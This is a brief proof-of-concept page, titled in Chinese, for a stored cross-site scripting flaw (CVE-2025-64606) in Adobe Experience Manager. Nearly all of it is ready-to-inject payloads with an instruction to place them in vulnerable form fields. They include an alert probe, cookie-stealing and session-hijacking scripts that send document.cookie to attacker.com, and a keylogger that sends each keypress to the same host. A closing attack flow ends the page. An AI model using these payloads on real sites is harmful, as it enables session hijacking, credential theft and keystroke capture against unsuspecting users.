CVE-2025-64606 Adobe Experience Manager存储型XSS漏洞

<!-- Stored XSS PoC for CVE-2025-64606 --> <!-- Inject this payload into vulnerable form fields in Adobe Experience Manager --> <!-- Basic XSS payload --> <script>alert(document.domain)</script> <!-- Cookie stealing payload --> <img src=x onerror="fetch('https://attacker.com/steal?c='+btoa(document.cookie))"> <!-- Session hijacking payload --> <script> var img = new Image(); img.src = 'https://attacker.com/log?cookie=' + encodeURIComponent(document.cookie); </script> <!-- Keylogger payload --> <script> document.addEventListener('keypress', function(e) { fetch('https://attacker.com/keys?k=' + e.key); }); </script> <!-- Example attack flow: 1. Attacker logs in with low-privileged account 2. Attacker submits malicious payload in form field 3. Payload is stored on server without sanitization 4. Victim views the page containing the vulnerable field 5. Malicious JavaScript executes in victim's browser -->